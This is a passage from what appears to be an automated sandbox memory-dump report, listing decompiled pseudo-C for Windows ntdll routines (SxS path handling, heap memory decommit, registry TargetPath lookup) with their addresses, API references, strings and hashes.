							if(_t193 != 0 && _t193 != _v204) {
								_v256 = _t193;
								RtlFreeUnicodeString( &_v260);
							}
							_t194 = _v204;
							if(_t194 != 0) {
								_t251 = 0;
								 *_t194 = 0;
							}
						}
						memset( &_v216, 0, 0x2c);
						_t282 = _t282 + 0xc;
						goto L57;
					}
					if(_t182 == 0) {
						if(_t246 != 0 || _t258 == 0) {
							L15:
							_t251 = 0;
							_t266 =  *(_t264 + 4);
							_v336 =  *_t264;
							_t202 = _a12;
							_v332 = _t266;
							_v338 = 0;
							if(_t202 == 0 ||  *_t202 == 0) {
								L23:
								_t274 = 0;
								goto L24;
							} else {
								_v337 = 0;
								_t278 = E6C023690(1,  &_v336, 0x6bfe11bc,  &_v292);
								if(_t278 < 0) {
									if(_t278 == 0xc0000225) {
										L19:
										_t274 = 0;
										L20:
										_t266 = _v332;
										if(_t274 < 0) {
											L97:
											_t251 = _v338;
											L24:
											if(_t274 < 0) {
												goto L51;
											}
											if(_t251 != 0) {
												_t266 = _v240;
												_v336 = _v244;
												_v332 = _t266;
											}
											_v312 = 0;
											_v338 = 0;
											if(_v316 != 0) {
												_t274 = 0xc000000d;
												goto L42;
											} else {
												_t224 = _v336;
												if(_t224 < 2) {
													L30:
													if(_t224 < 4 ||  *_t266 == 0 || _t266[1] != 0x3a || _t224 < 6) {
														L40:
														_t225 = _v338;
														goto L41;
													} else {
														_t226 = _t266[2] & 0x0000ffff;
														if(_t226 != 0x5c) {
															if(_t226 != 0x2f) {
																goto L40;
															}
														}
														_v324 = 2;
														L36:
														_t274 = E6C023850( &_v336,  &_v284,  &_v320,  &_v312, 0, 0,  &_v324, 0);
														if(_t274 < 0) {
															L42:
															_t204 = _v316;
															if(_v316 != 0) {
																E6C00AD30(_t204);
																_v324 = 0;
																_v320 = 0;
															}
															L43:
															if(_t274 < 0) {
																goto L51;
															}
															if((_a4 & 0x00000001) == 0 ||  *((intOrPtr*)( *[fs:0x30] + 0x10)) == 0 || ( *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 8) & 0x00001000) == 0) {
																L47:
																_t267 = _a16;
																if((_v304 & 0x00000001) != 0) {
																	L77:
																	if(_t246 == 0) {
																		if(_t267 == 0 || _v212 ==  *((intOrPtr*)(_t267 + 4))) {
																			goto L78;
																		} else {
																			_t274 = 0xc0000023;
																			goto L82;
																		}
																	}
																	L78:
																	_t268 = _v300;
																	if(_t268 != 0) {
																		_t274 = E6C023690(1,  &_v216, 0x6bfe1810,  &_v328);
																		if(_t274 < 0) {
																			goto L51;
																		}
																		 *_t268 = ((_v328 & 0x0000ffff) >> 1) + 1;
																	}
																	_t251 =  &_v216;
																	_t274 = E6C045969( &_v216);
																	if(_t274 < 0) {
																		goto L51;
																	}
																	_t251 = _v296;
																	if(_t251 != 0) {
																		 *_t251 = _v304;
																	}
																	_t274 = 0;
																	goto L82;
																}
																if(_t267 == 0) {
																	if(_t246 != 0) {
																		goto L49;
																	}
																	_t258 = 1;
																	L50:
																	_t251 =  &_v336;
																	_t274 = E6C022990( &_v336, _t258,  &_v288, _v296,  &_v216);
																	if(_t274 >= 0) {
																		goto L77;
																	}
																	goto L51;
																}
																L49:
																_t258 = 0;
																goto L50;
															} else {
																_t258 =  &_v216;
																_t251 =  &_v336;
																_t274 = E6C0940D2( &_v336,  &_v216,  &_v304);
																if(_t274 < 0) {
																	goto L51;
																}
																goto L47;
															}
														}
														_t233 = _v312;
														_t276 =  *_t233;
														_t269 =  *(_t233 + 4);
														_v312 = _t276;
														if(_v324 == 6) {
															_t259 = _v332;
															if( *((short*)(_t259 + 0xa)) != 0x3a ||  *((short*)(_t259 + 0xc)) != 0x5c) {
																goto L38;
															} else {
																_v332 = _t259 + 8;
																_t251 = _v336 + 0xfff8;
																 *((intOrPtr*)(_t282 + 0x16)) =  *((intOrPtr*)(_t282 + 0x16)) + 0xfff8;
																_t258 = _v312 + 0xfff8;
																_t269 =  &(_t269[4]);
																_v312 = _t258;
																 *((intOrPtr*)(_t282 + 0x2e)) =  *((intOrPtr*)(_t282 + 0x2e)) + 0xfff8;
																_t276 = _v312;
																_v336 = _t251;
																L39:
																if(_t251 > _t258) {
																	_t251 =  &_v320;
																	if(_t233 ==  &_v320) {
																		_t225 = 1;
																	} else {
																		_t225 = _v338;
																	}
																	_v336 = _t276;
																	_v332 = _t269;
																	L41:
																	_t274 = 0;
																	if(_t225 != 0) {
																		goto L43;
																	}
																	goto L42;
																}
																goto L40;
															}
														}
														L38:
														_t251 = _v336;
														_t258 = _v312;
														goto L39;
													}
												}
												_t251 =  *_t266 & 0x0000ffff;
												if(_t251 == 0x5c || _t251 == 0x2f) {
													if(_t224 < 4) {
														goto L40;
													}
													_t251 = _t266[1] & 0x0000ffff;
													if(_t251 == 0x5c || _t251 == 0x2f) {
														if(_t224 < 6) {
															L110:
															_v324 = 1;
															goto L36;
														}
														_t251 = _t266[2] & 0x0000ffff;
														if(_t251 == 0x2e || _t251 == 0x3f) {
															if(_t224 < 8) {
																L109:
																if(_t224 == 6) {
																	goto L40;
																}
																goto L110;
															}
															_t251 = _t266[3] & 0x0000ffff;
															if(_t251 == 0x5c || _t251 == 0x2f) {
																_v324 = 6;
																goto L36;
															} else {
																goto L109;
															}
														} else {
															goto L110;
														}
													} else {
														goto L40;
													}
												} else {
													goto L30;
												}
											}
										}
										if(_v337 == 0) {
											_t255 = _a12;
											 *(_t282 + 0x50) = _v336;
											 *(_t282 + 0x54) = _t266;
											 *((intOrPtr*)(_t282 + 0x58)) =  *_t255;
											 *((intOrPtr*)(_t282 + 0x5c)) =  *((intOrPtr*)(_t255 + 4));
											_v244 = 0;
											_t274 = E6C03D5C0(_t255,  &_v244, 2, _t282 + 0x50);
											if(_t274 < 0) {
												goto L97;
											}
											_t251 = 1;
											goto L23;
										}
										_t251 = _v338;
										goto L23;
									}
									goto L20;
								}
								_v337 = 1;
								goto L19;
							}
						} else {
							L96:
							_t274 = 0xc000000d;
							goto L82;
						}
					}
					if(_t246 == 0 || _t251 != 0) {
						goto L15;
					} else {
						goto L96;
					}
				}
			}

0x6c022438
0x6c022445
0x6c02244c
0x6c02244f
0x6c022452
0x6c022456
0x6c02245c
0x6c022460
0x6c022464
0x6c02246f
0x6c022475
0x6c022479
0x6c022481
0x6c022489
0x6c02248e
0x6c022493
0x6c022498
0x6c0228f5
0x6c0228f5
0x6c0224a0
0x6c022956
0x6c022956
0x6c0224a8
0x6c02295d
0x6c02295d
0x6c0224b0
0x6c0224b4
0x6c0224b6
0x6c0224b6
0x6c0224b9
0x6c0224c0
0x6c0224cb
0x6c0224cf
0x6c0224d3
0x6c0224d9
0x6c0224e1
0x6c0224e4
0x6c0224ef
0x6c0224f9
0x6c02280f
0x6c022816
0x6c022821
0x6c022828
0x6c02282f
0x6c022838
0x6c022843
0x6c02284b
0x6c0224ff
0x6c0224ff
0x6c022503
0x6c022509
0x6c06d20f
0x6c06d216
0x6c06d216
0x6c02250f
0x6c022516
0x6c02251d
0x6c022524
0x6c02252b
0x6c022534
0x6c022538
0x6c022538
0x6c02253d
0x6c022545
0x6c022549
0x6c022549
0x6c022558
0x6c02255b
0x6c022562
0x6c022569
0x6c022570
0x6c022578
0x6c06d220
0x00000000
0x6c02257e
0x6c022580
0x6c06d22a
0x6c022930
0x6c022932
0x6c022791
0x6c022791
0x6c022797
0x6c06d3b8
0x6c06d3bf
0x6c06d3c3
0x6c06d3c3
0x6c02279d
0x6c0227a3
0x6c0227a9
0x6c022968
0x6c022971
0x6c022971
0x6c0227b3
0x6c0227be
0x6c0227be
0x6c0227c5
0x6c0227c9
0x6c0227cf
0x6c0227d1
0x6c0227d3
0x6c0227d3
0x6c0227d8
0x6c0227e5
0x6c0227f0
0x6c06d3e0
0x6c06d3e5
0x00000000
0x6c0227f6
0x6c0227ff
0x6c022800
0x6c022801
0x6c02280c
0x6c02280c
0x6c0227f0
0x6c02274b
0x6c022753
0x6c022755
0x6c02275e
0x6c06d3a4
0x6c06d3ad
0x6c06d3ad
0x6c02276d
0x6c022776
0x6c022778
0x6c02277a
0x6c02277a
0x6c022776
0x6c022789
0x6c02278e
0x00000000
0x6c02278e
0x6c022588
0x6c02285d
0x6c02259a
0x6c02259c
0x6c02259e
0x6c0225a1
0x6c0225a5
0x6c0225a8
0x6c0225ac
0x6c0225b2
0x6c022600
0x6c022600
0x00000000
0x6c0225ba
0x6c0225be
0x6c0225d4
0x6c0225d8
0x6c02287b
0x6c0225e3
0x6c0225e3
0x6c0225e5
0x6c0225e5
0x6c0225eb
0x6c06d246
0x6c06d246
0x6c022602
0x6c022604
0x00000000
0x00000000
0x6c02260c
0x6c0228cf
0x6c0228d3
0x6c0228d7
0x6c0228d7
0x6c022617
0x6c02261f
0x6c022624
0x6c06d24f
0x00000000
0x6c02262a
0x6c02262a
0x6c022633
0x6c02264a
0x6c02264e
0x6c0226cd
0x6c0226cd
0x00000000
0x6c022663
0x6c022663
0x6c02266a
0x6c06d2c4
0x00000000
0x00000000
0x6c06d2ca
0x6c022670
0x6c022678
0x6c02269c
0x6c0226a0
0x6c0226d7
0x6c0226d7
0x6c0226dd
0x6c0228e1
0x6c0228e8
0x6c0228ec
0x6c0228ec
0x6c0226e3
0x6c0226e5
0x00000000
0x00000000
0x6c0226eb
0x6c02270f
0x6c022714
0x6c022717
0x6c0228fc
0x6c0228fe
0x6c06d352
0x00000000
0x6c06d368
0x6c06d368
0x00000000
0x6c06d368
0x6c06d352
0x6c022904
0x6c022904
0x6c02290a
0x6c06d38b
0x6c06d38f
0x00000000
0x00000000
0x6c06d39d
0x6c06d39d
0x6c022910
0x6c02291c
0x6c022920
0x00000000
0x00000000
0x6c022926
0x6c02292c
0x6c022983
0x6c022983
0x6c02292e
0x00000000
0x6c02292e
0x6c02271f
0x6c02286a
0x00000000
0x00000000
0x6c06d349
0x6c022727
0x6c022738
0x6c022741
0x6c022745
0x00000000
0x00000000
0x00000000
0x6c022745
0x6c022725
0x6c022725
0x00000000
0x6c06d325
0x6c06d32a
0x6c06d331
0x6c06d33a
0x6c06d33e
0x00000000
0x00000000
0x00000000
0x6c06d344
0x6c0226eb
0x6c0226a7
0x6c0226ab
0x6c0226ad
0x6c0226b0
0x6c0226b4
0x6c06d2cf
0x6c06d2d8
0x00000000
0x6c06d2e9
0x6c06d2f6
0x6c06d2ff
0x6c06d302
0x6c06d307
0x6c06d30a
0x6c06d30d
0x6c06d312
0x6c06d317
0x6c06d31b
0x6c0226c4
0x6c0226c7
0x6c02293d
0x6c022943
0x6c02297b
0x6c022945
0x6c022945
0x6c022945
0x6c022949
0x6c02294d
0x6c0226d1
0x6c0226d1
0x6c0226d5
0x00000000
0x00000000
0x00000000
0x6c0226d5
0x00000000
0x6c0226c7
0x6c06d2d8
0x6c0226ba
0x6c0226ba
0x6c0226bf
0x00000000
0x6c0226bf
0x6c02264e
0x6c022635
0x6c02263b
0x6c06d25d
0x00000000
0x00000000
0x6c06d263
0x6c06d26a
0x6c06d279
0x6c06d2b4
0x6c06d2b4
0x00000000
0x6c06d2b4
0x6c06d27b
0x6c06d282
0x6c06d28d
0x6c06d2aa
0x6c06d2ae
0x00000000
0x00000000
0x00000000
0x6c06d2ae
0x6c06d28f
0x6c06d296
0x6c06d29d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6c02263b
0x6c022624
0x6c0225f6
0x6c022886
0x6c02288d
0x6c022891
0x6c022897
0x6c02289e
0x6c0228a4
0x6c0228ba
0x6c0228be
0x00000000
0x00000000
0x6c0228c4
0x00000000
0x6c0228c4
0x6c0225fc
0x00000000
0x6c0225fc
0x00000000
0x6c022881
0x6c0225de
0x00000000
0x6c0225de
0x6c06d23c
0x6c06d23c
0x6c06d23c
0x00000000
0x6c06d23c
0x6c02285d
0x6c022590
0x00000000
0x00000000
0x00000000
0x00000000
0x6c022590

APIs

RtlFindCharInUnicodeString.1105(00000001,?,6BFE11BC,00000000), ref: 6C0225CF
RtlGetFullPathName_UstrEx.1105(?,?,?,?,00000000,00000000,?,00000000), ref: 6C022697
memset.1105(?,00000000,0000002C), ref: 6C022789
RtlMultiAppendUnicodeStringBuffer.1105(?,00000002,?,00000001,?,6BFE11BC,00000000), ref: 6C0228B5
RtlFreeUnicodeString.1105(?,?,?,00000001), ref: 6C022971
RtlDeleteBoundaryDescriptor.1105(00000000), ref: 6C0228E1

Part of subcall function 6C00AD30: RtlFreeHeap.1105(?,00000000,00000001,?,6C0302E9,00000000,?,6C01ECFB,6C0F84D8,6C0F84D8,6C0517F0,00000000,?,6C02F715,6C02F5C0,?), ref: 6C00AD43

Strings

minkernel\ntdll\sxsisol.cpp, xrefs: 6C06D3D6
Status != STATUS_SXS_SECTION_NOT_FOUND, xrefs: 6C06D3CC
Internal error check failed, xrefs: 6C06D3DB
, xrefs: 6C0224E4
, xrefs: 6C0224C0

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Free$AppendBoundaryBufferCharDeleteDescriptorFindFullHeapMultiName_PathUstrmemset
String ID: $ $Internal error check failed$Status != STATUS_SXS_SECTION_NOT_FOUND$minkernel\ntdll\sxsisol.cpp
API String ID: 3547848382-3393094623
Opcode ID: e6d9381b1fe88a0f0dc671088dfaf3065c07059394a776dfe9e4cf22423ab9ea
Instruction ID: a6fe61a36536a30dce4908a423e51c057a194e531180c1bdc1f114fadfecdb03
Opcode Fuzzy Hash: e6d9381b1fe88a0f0dc671088dfaf3065c07059394a776dfe9e4cf22423ab9ea
Instruction Fuzzy Hash: 4202DE7152D3528BD320CFA5C048B9BB7E4BF89728F60491EE9D897A50E378D944CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6C02A229, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 183
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6C02A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				E6C02DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = E6C049730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E6C0CA80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E6C049660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E6C00B150();
					} else {
						E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E6C00B150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E6C027D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E6C0C138A(_t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E6C027D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E6C027D50();
						if(__eflags != 0) {
							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E6C0C1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E6C027D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E6C027D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E6C0C1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
					E6C05D5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}

0x6c02a229
0x6c02a231
0x6c02a23f
0x6c02a242
0x6c02a244
0x6c02a24c
0x6c02a255
0x6c02a25a
0x6c02a25f
0x6c071c76
0x6c071c78
0x6c071c7e
0x6c071c7f
0x6c071c81
0x6c071c82
0x6c071c84
0x6c071c89
0x6c071c8b
0x6c071c9e
0x6c071c9e
0x6c071cab
0x6c071cb2
0x00000000
0x6c071cb2
0x6c071c8d
0x6c071c92
0x00000000
0x00000000
0x6c071c94
0x6c071c98
0x00000000
0x00000000
0x00000000
0x6c071c98
0x6c02a265
0x6c02a265
0x6c02a266
0x6c02a26f
0x6c02a270
0x6c02a276
0x6c02a277
0x6c02a279
0x6c02a27e
0x6c02a282
0x6c071db5
0x6c071dbb
0x6c071dc1
0x6c071dc5
0x6c071de4
0x6c071de9
0x6c071dc7
0x6c071ddc
0x6c071de1
0x6c071def
0x6c071df3
0x6c071df7
0x6c071dfe
0x6c071e06
0x6c02a302
0x6c02a308
0x6c02a308
0x6c02a288
0x6c02a28d
0x6c02a294
0x6c071cc1
0x6c02a29a
0x6c02a29a
0x6c02a29a
0x6c02a29f
0x6c071ccb
0x6c071cd1
0x6c071cd8
0x6c071cea
0x6c071cea
0x6c071cd8
0x6c02a2a9
0x6c02a2af
0x6c02a2bc
0x6c071cfd
0x6c02a2c2
0x6c02a2c2
0x6c02a2c2
0x6c02a2c7
0x6c071d07
0x6c071d0d
0x6c071d14
0x6c071d1f
0x6c071d21
0x6c071d2c
0x6c071d2c
0x6c071d2c
0x6c071d47
0x6c071d47
0x6c071d14
0x6c02a2cd
0x6c02a2d2
0x6c02a2d9
0x6c071d5a
0x6c02a2df
0x6c02a2df
0x6c02a2df
0x6c02a2e4
0x6c071d69
0x6c071d6b
0x6c071d76
0x6c071d76
0x6c071d76
0x6c071d91
0x6c071d91
0x6c02a2ea
0x6c02a2f0
0x6c02a2f5
0x6c071da8
0x6c071dad
0x6c071dad
0x6c02a2fd
0x6c02a300
0x00000000

APIs

ZwAllocateVirtualMemory.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6C02A279

Part of subcall function 6C049660: LdrInitializeThunk.NTDLL(6C0918BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6C0E0810,0000001C,6C091616), ref: 6C04966A

RtlGetCurrentServiceSessionId.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6C02A288
RtlGetCurrentServiceSessionId.1105 ref: 6C02A2B5
RtlGetCurrentServiceSessionId.1105 ref: 6C02A2CD
ZwQueryVirtualMemory.1105(000000FF,?,00000003,00000014,00000014,00000000,?,?,?,-00000018,?,?,?,?,6C0C4C8F), ref: 6C071C84
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6C071DDC
DbgPrint.1105(ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix),00000000,?,?,?), ref: 6C071DFE

Strings

`, xrefs: 6C071C8D
HEAP: , xrefs: 6C071DE4
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6C071DF9
HEAP[%wZ]: , xrefs: 6C071DD7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$MemoryPrintVirtual$AllocateInitializeQueryThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 1108326835-2586055223
Opcode ID: 4261cc9c0480580031295eeaa35dde1056acfbfdbe9f2218c2d706f790ea0b50
Instruction ID: c705c9f162d14c585c21ccf4a46983d10976c90c19b1dc6517665d55f5959584
Opcode Fuzzy Hash: 4261cc9c0480580031295eeaa35dde1056acfbfdbe9f2218c2d706f790ea0b50
Instruction Fuzzy Hash: 6C5125322096809FE721CB68C954F6B77F8FB84B18F150564F5548BBD1DB39E908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 6C006F60, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 235
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6C006F60(WCHAR* _a4, WCHAR* _a8, void* _a12, signed int _a16, void* _a20, unsigned int _a24, int* _a28) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				char _v32;
				void* _v36;
				void* _v44;
				long _v48;
				char _v52;
				char _v56;
				char _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				int _v80;
				signed int _t72;
				signed int _t81;
				WCHAR* _t88;
				int* _t96;
				void _t100;
				void _t106;
				void* _t107;
				int* _t108;
				long _t111;
				unsigned int _t113;
				unsigned int _t115;
				int _t117;
				void* _t118;
				intOrPtr* _t121;
				void* _t123;
				int _t126;
				void* _t127;
				void* _t128;
				void* _t131;
				signed int _t134;
				long _t136;
				void* _t137;
				signed int _t138;

				_t72 = _a16;
				_t111 = 0;
				_v44 = 0;
				_v52 = 0;
				_v48 = 0;
				_t131 = 0;
				if(_t72 != 0) {
					if(_t72 == 1) {
						goto L1;
					}
					_t81 = 0xc00000f1;
					L14:
					return _t81;
				}
				L1:
				_v28 = 0x18;
				_v20 = 0x6bfe16a8 + _t72 * 8;
				_push( &_v28);
				_push(0x20019);
				_v24 = _t111;
				_push( &_v52);
				_v16 = 0x40;
				_v12 = _t111;
				_v8 = _t111;
				_t134 = E6C049600();
				if(_t134 != 0xc0000034) {
					if(_t134 < 0) {
						L10:
						if(_v52 != 0) {
							_push(_v52);
							E6C0495D0();
						}
						if(_v48 != 0) {
							_push(_v48);
							E6C0495D0();
						}
						if(_t131 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t111, _t131);
						}
						_t81 = _t134;
						goto L14;
					}
					RtlInitUnicodeString( &_v36, _a4);
					_v32 = _v60;
					_v28 =  &_v44;
					_push( &_v36);
					_push(0x20019);
					_v36 = 0x18;
					_push( &_v56);
					_v24 = 0x40;
					_v20 = _t111;
					_v16 = _t111;
					_t134 = E6C049600();
					if(_t134 == 0xc0000034) {
						goto L2;
					}
					L20:
					if(_t134 < 0) {
						goto L10;
					}
					_t88 = _a8;
					if(_t88 == 0) {
						_t88 = L"TargetPath";
					}
					RtlInitUnicodeString( &_v44, _t88);
					_t113 = _a24;
					_t136 = _t113 + 0x10;
					if(_t136 >= _t113) {
						_t131 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t136);
						if(_t131 != 0) {
							_push( &_v80);
							_push(_t136);
							_push(_t131);
							_push(2);
							_push( &_v60);
							_push(_v72);
							_t134 = E6C049650();
							if(_t134 < 0) {
								if(_t134 != 0x80000005) {
									goto L51;
								}
								L32:
								_t117 =  *(_t131 + 8);
								_t49 = _t131 + 0xc; // 0xc
								_t128 = _t49;
								_v80 = _t117;
								if(_t134 < 0) {
									L47:
									_t96 = _a28;
									if(_t96 != 0) {
										 *_t96 = _t117;
									}
									if(_t134 >= 0) {
										memcpy(_a20, _t128, _t117);
									}
									goto L51;
								}
								_t115 = _a24;
								if( *((intOrPtr*)(_t128 + (_t117 >> 1) * 2 - 2)) != 0) {
									_t117 = _t117 + 2;
									_v80 = _t117;
									if(_t115 < _t117) {
										_t134 = 0x80000005;
									} else {
										 *((short*)(_t128 + (_t117 >> 1) * 2 - 2)) = 0;
										_t117 = _v80;
									}
								}
								if(_t134 < 0 ||  *((intOrPtr*)(_t131 + 4)) != 2) {
									goto L47;
								} else {
									_t118 = _t128;
									_t61 = _t118 + 2; // 0xe
									_t137 = _t61;
									do {
										_t100 =  *_t118;
										_t118 = _t118 + 2;
									} while (_t100 != _v68);
									_t111 = 0;
									_t134 = E6C032440(0, _t128, _t118 - _t137 >> 1, _a20, _t115 >> 1,  &_v64);
									if(_t134 >= 0 || _t134 == 0xc0000023) {
										_t121 = _a28;
										if(_t121 != 0) {
											 *_t121 = _v64 + _v64;
										}
										if(_t134 == 0xc0000023) {
											_t134 = 0x80000005;
										}
									}
									goto L10;
								}
							}
							if( *((intOrPtr*)(_t131 + 4)) == 1 ||  *((intOrPtr*)(_t131 + 4)) == 2) {
								goto L32;
							} else {
								_t134 = 0xc0000024;
								goto L51;
							}
						}
						_t134 = 0xc0000017;
						goto L51;
					} else {
						_t134 = 0xc0000095;
						L51:
						_t111 = 0;
						goto L10;
					}
				}
				L2:
				_t127 = _a12;
				if(_t127 == 0) {
					goto L20;
				} else {
					_t123 = _t127;
					_t138 = _t123 + 2;
					goto L4;
					L4:
					_t106 =  *_t123;
					_t123 = _t123 + 2;
					if(_t106 != _t111) {
						goto L4;
					} else {
						_t107 = (_t123 - _t138 >> 1) + 1;
						_t126 = _t107 + _t107;
						_v64 = _t126;
						if(_t126 < _t107) {
							_t134 = 0xc0000095;
						} else {
							_t108 = _a28;
							asm("sbb esi, esi");
							_t134 = _t138 & 0x80000005;
							if(_t108 != 0) {
								 *_t108 = _t126;
							}
							if(_t126 <= _a24) {
								memcpy(_a20, _t127, _t126);
							}
						}
						goto L10;
					}
				}
			}

0x6c006f6b
0x6c006f6f
0x6c006f71
0x6c006f75
0x6c006f79
0x6c006f7f
0x6c006f83
0x6c0620d3
0x00000000
0x00000000
0x6c0620d9
0x6c007045
0x6c00704b
0x6c00704b
0x6c006f89
0x6c006f90
0x6c006f98
0x6c006fa0
0x6c006fa1
0x6c006faa
0x6c006fae
0x6c006faf
0x6c006fb7
0x6c006fbb
0x6c006fc4
0x6c006fcc
0x6c0620e5
0x6c007025
0x6c00702a
0x6c0622a1
0x6c0622a5
0x6c0622a5
0x6c007035
0x6c0622af
0x6c0622b3
0x6c0622b3
0x6c00703d
0x6c0622c8
0x6c0622c8
0x6c007043
0x00000000
0x6c007043
0x6c0620f3
0x6c0620fc
0x6c062104
0x6c06210c
0x6c06210d
0x6c062116
0x6c06211e
0x6c06211f
0x6c062127
0x6c06212b
0x6c062134
0x6c06213c
0x00000000
0x00000000
0x6c062142
0x6c062144
0x00000000
0x00000000
0x6c06214a
0x6c06214f
0x6c062151
0x6c062151
0x6c06215c
0x6c062161
0x6c062164
0x6c062169
0x6c062187
0x6c06218b
